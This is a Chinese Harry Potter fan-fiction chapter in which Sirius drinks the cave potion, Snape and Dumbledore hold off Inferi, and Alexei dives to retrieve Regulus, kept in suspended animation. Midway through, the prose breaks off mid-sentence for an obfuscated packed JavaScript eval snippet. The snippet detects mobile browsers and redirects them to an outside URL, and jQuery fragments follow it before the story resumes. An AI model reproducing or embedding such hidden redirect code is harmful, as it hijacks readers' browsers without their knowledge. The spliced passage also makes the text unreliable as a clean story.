小天狼星变回人形,脸色苍白如纸。他盯着盆中诡异的液体,喉结滚动。然后,他掏出斯内普给的防护药剂和阿列克谢给他的那瓶宁神魔药,拔开瓶塞,一饮而尽。药水显然味道极糟,他面部肌肉抽搐了一下。
“记住,药效只有一小时。”斯内普冷硬地提醒,将一把长柄银夹递给克利切,“魔药见底,立刻取出挂坠盒。”
小天狼星点了点头,再无犹豫,俯身捧起石盆边那个粗糙的贝壳杯,舀起一满杯魔药,仰头灌下。
“呃——!”
痛苦的闷哼几乎立刻从他喉咙里挤出。他身体剧烈颤抖,杯子脱手掉在岩石上摔得粉碎。他踉跄后退,双手抱住头,眼睛瞬间布满血丝,瞳孔扩散。
“雷……雷古勒斯……”他嘶哑地呻吟,声音里充满了无尽的痛苦和愧疚,“对不起……哥哥没保护好你……我不知道……我不知道你那么勇敢……”
幻觉开始了。魔药放大了他内心最深处的创伤和悔恨。
“詹姆……莉莉……是我的错……我不该换保密人……我不该……”他跪倒在地,用头撞击岩石,额头上很快见了血。
斯内普的脸色在听到莉莉的名字后更加阴沉,他紧握着魔杖,指节发白。当小天狼星开始语无伦次地念叨“鼻涕精……对不起……那时我们太混账了……”时,斯内普的下颌线绷紧到了极致。
“灌他。”邓布利多声音平静,却带着不容置疑的力量。
斯内普大步上前,一把揪住小天狼星的头发,强迫他抬起头,另一只手拿起贝壳杯,舀起魔药,粗暴地灌进他不断挣扎、胡言乱语的嘴里。小天狼星被呛得咳嗽,魔药混合着血沫从嘴角溢出,但他仍在吞咽,仍在无意识地忏悔、道歉、痛苦嘶吼。
这个过程漫长而残酷。每一杯魔药都让小天狼星陷入更深的幻觉地狱,仿佛将他生命中的所有错误、所有失去、所有愧疚都翻搅出来,让他一遍遍生吞下去。他的声音从嘶吼逐渐变得微弱,身体痉挛,眼神涣散。
终于,石盆见底了。
“就是现在!”斯内普厉喝。
一直紧绷如雕塑的克利切,闪电般将长柄银夹探入盆底,“咔哒”一声轻响,夹住了那个假挂坠盒,迅速将其提了出来!
就在挂坠盒离开石盆的瞬间——
整个岩洞剧烈震动!湖心岛周围的黑色湖水如同煮沸般翻腾起来!
“阴尸!”邓布利多魔杖高举,一道璀璨的金色屏障瞬间展开,笼罩住整个小岛。
与此同时,无数只惨白、肿胀、腐烂的手破开湖面!密密麻麻的阴尸从漆黑的湖水中涌出,它们无声地嘶吼着,空洞的眼窝“看”向湖心岛,拖着僵硬的肢体,开始从四面八方向小岛涌来,疯狂地冲击着邓布利多布下的防护屏障!水面被它们搅动,恶臭扑鼻。
“西弗勒斯,守住屏障东侧!清理爬上来的!”邓布利多的声音在阴尸的抓挠声和湖水的咆哮中依然稳定,他魔杖连点,一道道炽烈的火焰咒如鞭子般抽向湖面,将大量阴尸点燃、击退。但他的主要精力维持着笼罩全岛的核心屏障,那屏障在无数阴尸的撞击下剧烈震荡,金光明灭不定。
斯内普面色冷峻,嘴唇快速翕动,一道道银色的切割咒和腐蚀性的黑魔法(针对非生命的阴尸,他毫无顾忌)精准地斩断试图攀爬上岸的阴尸肢体。他同时分神注意着瘫倒在地、仍在痛苦呻吟和胡言乱语的小天狼星,一个锁腿咒将他固定住,防止他乱滚掉进湖里。
“阿列克谢!”邓布利多喊道,目光锐利地看向已经迅速喝完魔药、套上潜水服、背好氧气瓶的少年。
阿列克谢点了点头。他最后检查了一下头盔和探照灯,将血缘罗盘固定在手腕上。罗盘的指针疯狂颤动,直指下方湖心深处。他看了一眼在防护屏障外密密麻麻、被邓布利多和斯内普的攻击暂时吸引住的阴尸群,深吸一口气(通过氧气瓶),向邓布利多比了个手势,滑入冰冷刺骨的黑色湖水中。
世界骤然隔绝。
水下的能见度低得可怕,探照灯的光束像一把利剑刺入浓稠的墨汁,仅能照亮前方几米。湖水冰冷刺骨,即便有潜水服和魔药的双重防护,那股寒意仍像针一样试图刺透骨髓。更可怕的是水流中充斥的恶意——那是诅咒的实体,仿佛无数冰冷的舌头在舔舐他的皮肤。
他迅速下潜,同时警惕地观察四周。光束扫过之处,不时有苍白的阴尸身影缓缓下沉或上浮,它们对光线似乎有些反应,但大部分注意力显然被湖面上激烈的魔法波动吸引。阿列克谢小心地绕开它们,沿着罗盘指针指引的方向,不断向更深处潜去。
压力越来越大,耳膜嗡嗡作响。光束中开始出现湖底嶙峋的黑色岩石和沉积的骸骨。罗盘的震动越来越剧烈。
突然,光束的边缘扫到了一抹异常的颜色——不是惨白,也不是岩石的漆黑。
他调整方向,将光束聚焦过去。
在那里,一处狭窄的岩缝中,卡着一个身影。
雷古勒斯·布莱克。
他看起来惊人的……完整。没有肿胀,没有明显的腐烂。他穿着残破的黑色巫师袍,双眼紧闭,面容安详得近乎沉睡,黑色的头发在水中微微飘动。而在他胸口,一枚镶嵌着黑色宝石的古老护身符正散发着极其微弱、却顽强不息的心跳般的银色光芒。那光芒形成一个极淡的光晕,笼罩着他全身。光晕上布满细密的裂纹,黑宝石也暗淡无光,但它仍在运作,将周围的湖水、诅咒和死亡的气息,微弱但坚定地排斥在外。
阿列克谢游近,心中震撼。这护符竟然在如此恶劣的环境下,维持了雷古勒斯躯体十五年不腐,甚至……他小心地伸出手,指尖隔着潜水手套,轻轻触碰到雷古勒斯裸露在外的手腕。
是有温度的。
不是活人的温热,但绝非尸体的冰冷。是一种被魔法强行凝固、维持在生死边缘的、微弱的暖意。
假死。在布莱克家族古老护符的最后力量下,雷古勒斯陷入了一种深度的假死状态。
没有时间惊叹。阿列克谢迅速行动。他取出备用的绳索,小心地将雷古勒斯从岩缝中移出,然后用绳索将他与自己背对背固定好,确保不会在上升过程中脱落或妨碍动作。
就在他完成固定,准备上浮时——
轰——!!!
整个湖底乃至岩洞都传来更剧烈的震动!上方传来石头崩裂的巨响!显然,湖面上邓布利多与阴尸的战斗,加上可能触发的伏地魔的后手机关,导致这个本就脆弱的岩洞开始坍塌了!
巨石开始从穹顶坠落,砸入湖中,激起混乱的暗流和淤泥。能见度进一步降低。阿列克谢心中一紧,立刻启动助推器(潜水服附带的小型魔法-科技混合推进单元),拽着雷古勒斯,全力向上冲去。
但祸不单行。混乱中,几只沉在湖底较深处的阴尸似乎被坍塌惊动,或是感应到了活人上浮的气息,它们僵硬地转动身体,伸出惨白的手,抓了过来!
阿列克谢灵活地闪避,用匕首斩断了一只抓向他面罩的手。但更多的阴尸围拢过来。它们在水中动作缓慢却执着,数量众多。在挤过一处因坍塌而变得狭窄的岩石通道时,一只阴尸尖锐的指甲划过他的后背——
嘶——
氧气瓶的连接管路被划开了一道口子!压缩气体嘶鸣着泄露出来,形成一串串急速上升的气泡。
氧气供应骤减!面罩内的警报轻微震动。
阿列克谢心头一沉。他估算着剩余氧气和上升距离,咬牙关掉了泄露管路的阀门,启用备用呼吸口,但存量已然不多。他必须更快!
然而,阴尸的纠缠还在继续。它们如同嗅到血腥味的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233658|197634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水蛭,从四面八方围拢,试图抓住他,抓住雷古勒斯。推进器在混乱的水流和障碍物中效率大减。上方不断有巨石砸落,必须分神躲避。
氧气存量警告开始频繁闪烁。肺部传来灼烧感。冰冷、黑暗、窒息、围攻……绝望如同这黑色的湖水,试图将他吞噬。
就在他几乎要被数只阴尸拖拽住脚踝的刹那——
贴在他胸口的项链,那颗浅蓝色的宝石,突然变得滚烫!
一道柔和却无比深邃的冰蓝色光晕,以阿列克谢为中心,无声地扩散开来。
光晕所过之处,时间仿佛被冻结了一瞬。
所有接触到光晕的阴尸——无论是水中纠缠阿列克谢的,还是湖面上正在冲击屏障的——它们的动作齐齐僵住!仿佛被无形的寒冰瞬间凝固,保持着前一刻的姿态,定在了水中、空中。
就连汹涌的暗流、崩落的碎石,都似乎变慢了一丝。
这股魔力波动是如此独特,如此强大,带着一种俯瞰众生的冰冷威严,以及……一丝熟悉。
湖心岛上,正挥动魔杖击退又一批阴尸的邓布利多,动作猛然一顿。他霍然转头,看向阿列克谢上浮的湖面方向,苍老的脸上第一次露出了无法掩饰的震动。
那眼神复杂难言:有刹那的惊讶,随即是深深的了然,最后化作一丝隐晦的、沉淀了半个世纪的苦涩。
是他。
在这种时候,以这种方式……依然在干预,在保护他选中的人。
但邓布利多没有时间感慨。阴尸只是被暂时“停滞”,洞顶的坍塌在加剧!
“阿列克谢!”他大吼一声,魔杖爆发出前所未有的璀璨光芒,暂时逼退了最近的一波阴尸,同时他毫不犹豫地扑向湖边,朝着那翻滚着冒出气泡的湖面伸出手。
阿列克谢抓住了那只手!邓布利多爆发出与年龄不符的巨大力量,将他连同背后的雷古勒斯一起猛地拽上了岸!
“走!”邓布利多厉喝,一手抓住阿列克谢,另一手魔杖划出一个巨大的光圈,将斯内普、仍被锁腿咒定住但似乎恢复了些许神智正挣扎着看向雷古勒斯的小天狼星、以及紧紧抱着假挂坠盒的克利切全部笼罩在内。
岩洞在崩解,伏地魔的防护咒语在核心被触动且洞穴结构遭到破坏后已然失效。
幻影移形的空间扭曲感瞬间包裹住所有人。
在最后一眼的余光中,阿列克谢看到无数被冰蓝光晕凝滞的阴尸,随着崩塌的巨石,一起沉入彻底沸腾、然后又被落石掩埋的黑色湖底。
下一刻,他们重重摔在格里莫广场12号冰冷破旧的地板上。
没人有力气说话。只有粗重不一的喘息声,和克利切压抑的、哽咽的啜泣。
小天狼星挣脱了锁腿咒,连滚爬地扑到雷古勒斯身边,颤抖着手去探他的鼻息,去感受那微弱的、却真实存在的温热。他看着弟弟安详如沉睡的脸,看着那布满裂纹却仍在闪烁的护身符,张了张嘴,却发不出任何声音,只有大颗大颗的眼泪滚落,砸在积满灰尘的地板上。
斯内普靠在墙边,脸色苍白,握着魔杖的手也在微微发抖,不知是魔力消耗过度,还是因为其他。他看了一眼相拥(单方面)的布莱克兄弟,又迅速移开视线,嘴角紧抿。
邓布利多缓缓站直身体,他看起来疲惫了许多,但蓝眼睛依然明亮。他走到窗边,望着伦敦阴沉的天空,沉默良久,才轻声说,仿佛自言自语,又仿佛是说给某个不在场的人听:
“……这份‘以防万一’,我收到了。”
阿列克谢瘫坐在地上,卸下破损的潜水装备,感受着劫后余生的虚脱和胸口项链残留的温热。他成功带回了雷古勒斯,在几乎不可能的绝境中。
圣诞节还有几天。
但给小天狼星·布莱克的礼物,已经提前抵达。